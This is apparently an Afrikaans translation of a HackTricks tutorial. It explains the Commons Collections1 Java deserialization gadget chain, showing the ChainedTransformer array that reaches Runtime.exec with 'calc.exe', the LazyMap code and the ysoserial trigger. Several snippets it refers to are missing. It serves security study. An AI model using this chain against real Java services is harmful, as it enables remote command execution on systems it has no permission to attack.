Werk jy in 'n cybersecurity-maatskappy? Wil jy jou maatskappy adverteer in HackTricks? Of wil jy toegang hê tot die nuutste weergawe van die PEASS of laai HackTricks in PDF af? Kyk na die SUBSCRIPTION PLANS!
As jy niks weet van Java deserialisering payloads nie, kan dit moeilik wees om uit te vind waarom hierdie kode 'n rekenaar sal uitvoer.
Eerstens moet jy weet dat 'n Transformer in Java iets is wat 'n klas ontvang en dit verander na 'n ander een.
Dit is ook interessant om te weet dat die payload wat hier uitgevoer word, gelykstaande is aan:
So, hoe is die eerste payload wat aangebied word, gelykstaande aan daardie "eenvoudige" een-liners?
Eerstens kan jy in die payload opmerk dat 'n ketting (array) van transformasies geskep word:
String[] command = {"calc.exe"};finalTransformer[] transformers =newTransformer[]{//(1) - Get gadget Class (from Runtime class)newConstantTransformer(Runtime.class),//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"newInvokerTransformer("getMethod",newClass[]{ String.class,Class[].class},newObject[]{"getRuntime",newClass[0]}),//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime ojectnewInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,newObject[0]}),//(4) - Use the Runtime object to call exec with arbitrary commandsnewInvokerTransformer("exec",newClass[]{String.class},command)};ChainedTransformer chainedTransformer =newChainedTransformer(transformers);
As jy die kode lees, sal jy opmerk dat as jy die transformasie van die reeks op 'n sekere manier koppel, jy in staat kan wees om willekeurige opdragte uit te voer.
In die laaste gedeelte van die payload kan jy sien dat 'n Map-voorwerp geskep word. Dan word die funksie decorate uitgevoer vanaf LazyMap met die map-voorwerp en die gekoppelde transformers. Uit die volgende kode kan jy sien dat dit veroorsaak dat die gekoppelde transformers gekopieer word na die lazyMap.factory eienskap:
protectedLazyMap(Map map,Transformer factory) {super(map);if (factory ==null) {thrownewIllegalArgumentException("Factory must not be null");}this.factory= factory;}
En dan word die groot finale uitgevoer: lazyMap.get("iets");
Hierdie is die kode van die get funksie:
publicObjectget(Object key) {if (map.containsKey(key) ==false) {Object value =factory.transform(key);map.put(key, value);return value;}returnmap.get(key);}
En hier is die kode van die transform funksie
publicObjecttransform(Object object) {for (int i =0; i <iTransformers.length; i++) {object = iTransformers[i].transform(object);}return object;}
So, onthou dat ons binne die fabriek die chainedTransformer gestoor het en binne die transform funksie gaan ons deur al daardie gekoppelde transformators en voer hulle een vir een uit. Die snaakse ding is dat elke transformator object as inset gebruik en object is die uitset van die laaste uitgevoerde transformator. Daarom word al die transformasies gekoppel en voer die skadelike payload uit.
Opsomming
Aan die einde, as gevolg van hoe die lazyMap die gekoppelde transformators binne die get-metode hanteer, is dit asof ons die volgende kode uitvoer:
Let wel dat hierdie die gadgets verduidelik is wat gebruik word vir die ComonsCollections1 payload. Maar dit is onduidelik hoe dit alles begin om uit te voer. Jy kan hier sien dat ysoserial, om hierdie payload uit te voer, 'n AnnotationInvocationHandler-objek gebruik omdat wanneer hierdie objek gedeserializeer word, dit die payload.get()-funksie sal aanroep wat die hele payload sal uitvoer.
Java Thread Sleep
Hierdie payload kan nuttig wees om te identifiseer of die web kwesbaar is, aangesien dit 'n slaap sal uitvoer as dit wel is.
Werk jy in 'n cybersecurity-maatskappy? Wil jy jou maatskappy geadverteer sien in HackTricks? Of wil jy toegang hê tot die nuutste weergawe van die PEASS of laai HackTricks in PDF af? Kyk na die SUBSCRIPTION PLANS!